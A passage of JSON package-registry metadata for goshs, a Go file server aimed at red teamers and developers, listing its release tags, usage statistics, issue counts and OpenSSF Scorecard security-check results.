_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"4732ae364faf32681dbb361aafa337d8c3fcf25d","kind":"tag","published_at":"2023-05-31T13:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"33c8a14257bcf88d7d2ad35cd490fa7805cca9f6","kind":"tag","published_at":"2023-05-29T08:26:19.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"b394bd5866d568f41d136255236094f8c77a9407","kind":"tag","published_at":"2023-05-08T07:11:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"6574ddac3213fa51cd80af84a9162d555e50af63","kind":"tag","published_at":"2023-02-28T14:59:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"3b807da9ea42cd4edaa99a51a932603f534e52ad","kind":"tag","published_at":"2022-12-02T09:03:27.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.2.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.2.0/manifests"},{"name":"v0.1.9","sha":"5d6b17cc4a44d344362dd0659779d958d1b66e05","kind":"tag","published_at":"2022-10-13T13:52:26.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.9/manifests"},{"name":"v0.1.8","sha":"31639080efbb087fc2c8cb3413bbc8d9e6cb5b55","kind":"tag","published_at":"2022-03-11T14:24:02.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.8/manifests"},{"name":"v0.1.7","sha":"7d1630cbe279aef35e4f1f1699278b35b1784158","kind":"tag","published_at":"2022-02-28T12:42:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.7/manifests"},{"name":"v0.1.6","sha":"b1d4f8393ce004528a523ba55353eb99ec9cb74e","kind":"tag","published_at":"2021-11-09T13:15:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.6/manifests"},{"name":"v0.1.5","sha":"71cefd7548e8d227dd6fb80038aad3ab5f3882d9","kind":"tag","published_at":"2021-10-12T10:32:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.5/manifests"},{"name":"v0.1.4","sha":"b28b7c2c3be33954ccf3ef5b221a6a848b79aa79","kind":"tag","published_at":"2021-10-12T06:55:06.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.4/manifests"},{"name":"v0.1.3","sha":"4187008af4c3acfdad0099a1888567cd63e3bbfd","kind":"tag","published_at":"2021-10-08T13:48:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"221ed1b8bfa30dff122e99ac1dc13d17d92519f1","kind":"tag","published_at":"2021-10-01T08:57:05.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"c4f19703b59e7f2d052530381c201c2bd933ab9a","kind":"tag","published_at":"2021-09-29T12:15:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"589f2dc62b9a9f72d9726a30b806082225488e81","kind":"tag","published_at":"2021-04-22T05:53:21.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.1.0/manifests"},{"name":"v0.0.9","sha":"a028f7795d1b2a28946061fe04c7fdae05c1c124","kind":"tag","published_at":"2021-04-21T12:38:42.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"4e29cfb21beab4fbc000ae6b78ea50e4def8dcb2","kind":"tag","published_at":"2021-02-26T09:37:47.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.8/manifests"},{"name":"v0.0.6","sha":"568702c6b1df35a169d4944606d7dcce0512f75e","kind":"tag","published_at":"2020-10-23T13:48:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"e8fb6eaeefe70709da388cc5aabd001ae20e34da","kind":"tag","published_at":"2020-10-15T15:35:44.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"f8e39328788149796a862edbc64be7f9f732da46","kind":"tag","published_at":"2020-10-14T08:38:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"dfc2d46e7f47c2f9e1a80e7b6c07ac5270a92ee2","kind":"commit","published_at":"2020-10-09T08:46:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"2227d39f6a9f86f40223241ee07c8374c1255c39","kind":"commit","published_at":"2020-10-06T13:00:13.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"ca78b1be5424d653c877550ba81427ba3d08ec74","kind":"commit","published_at":"2020-10-02T08:28:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-26T15:02:58.562Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.856048725074748,"dependent_packages_count":4.550149182645931,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.703098953860339},"purl":"pkg:golang/github.com/goshs-labs/goshs/v2","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/goshs-labs/goshs/v2","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/goshs-labs/goshs/v2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/goshs-labs/goshs/v2/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-25T23:30:33.738Z","issues_count":20,"pull_requests_count":119,"avg_time_to_close_issue":98358.65,"avg_time_to_close_pull_request":103188.29411764706,"issues_closed_count":20,"pull_requests_closed_count":119,"pull_request_authors_count":5,"issue_authors_count":15,"avg_comments_per_issue":2.8,"avg_comments_per_pull_request":0.4117647058823529,"merged_pull_requests_count":101,"bot_issues_count":0,"bot_pull_requests_count":89,"past_year_issues_count":17,"past_year_pull_requests_count":114,"past_year_avg_time_to_close_issue":111658.4705882353,"past_year_avg_time_to_close_pull_request":107121.20175438597,"past_year_issues_closed_count":17,"past_year_pull_requests_closed_count":114,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":2.9411764705882355,"past_year_avg_comments_per_pull_request":0.35964912280701755,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":88,"past_year_merged_pull_requests_count":96,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/issues","maintainers":[{"login":"patrickhener","count":29,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}],"active_maintainers":[{"login":"patrickhener","count":26,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickhener"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fgoshs-labs%2Fgoshs%2Fv2/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2281958,"maintainers_count":0,"namespaces_count":839500,"keywords_count":125409,"github":"golang","metadata":{"funded_packages_count":68001,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-08-26T05:01:06.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":14254128,"name":"goshs.de/goshs/v2","ecosystem":"go","description":"","homepage":"https://github.com/goshs-labs/goshs","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/goshs-labs/goshs","keywords_array":[],"namespace":"goshs.de/goshs","versions_count":23,"first_release_published_at":"2026-04-15T10:14:48.069Z","latest_release_published_at":"2026-08-24T07:46:47.000Z","latest_release_number":"v2.1.6","last_synced_at":"2026-08-26T03:43:55.949Z","created_at":"2026-04-15T10:14:21.381Z","updated_at":"2026-08-26T22:14:52.326Z","registry_url":"https://pkg.go.dev/goshs.de/goshs/v2","install_command":"go get goshs.de/goshs/v2","documentation_url":"https://pkg.go.dev/goshs.de/goshs/v2#section-documentation","metadata":{},"repo_metadata":{"id":43262907,"uuid":"300549409","full_name":"goshs-labs/goshs","owner":"goshs-labs","description":"Feature-rich single-binary file server for red teamers and developers.  HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks ·  TLS · Auth · Share links. A powerful python3 -m http.server replacement.","archived":false,"fork":false,"pushed_at":"2026-08-13T10:10:24.000Z","size":10178,"stargazers_count":956,"open_issues_count":6,"forks_count":56,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-08-16T19:08:54.910Z","etag":null,"topics":["capture-the-flag","ctf","devtools","dns-server","file-server","file-transfer","golang","http-server","https-server","kali-linux","ldap","ntlm","offensive-security","penetration-testing","red-teaming","security-tools","sftp","smb","smtp-server","webdav"],"latest_commit_sha":null,"homepage":"https://goshs.de","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/goshs-labs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-10-02T08:24:17.000Z","updated_at":"2026-08-16T09:41:40.000Z","dependencies_parsed_at":"2026-08-09T15:31:04.610Z","dependency_job_id":"7fa588ca-b8d0-4065-bb13-558fa7d8153e","html_url":"https://github.com/goshs-labs/goshs","commit_stats":null,"previous_names":["goshs-labs/goshs","patrickhener/goshs"],"tags_count":69,"template":false,"template_full_name":null,"purl":"pkg:github/goshs-labs/goshs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/sbom","scorecard":{"id":722292,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickhener/goshs","commit":"cea833bc147c8b21464d70f6e3ab59006c6b7156"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 8 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":3,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Code-Review","score":0,"reason":"Found 1/27 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:10","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:15"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.1.0 not signed: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 not signed: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 not signed: https://api.github.com/repos/patrickhener/goshs/releases/217929560","Warn: release artifact v1.1.0 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/217929560"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2","Warn: containerImage not pinned by hash: Dockerfile:20: pin your Docker image by updating alpine:latest to alpine:latest@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all 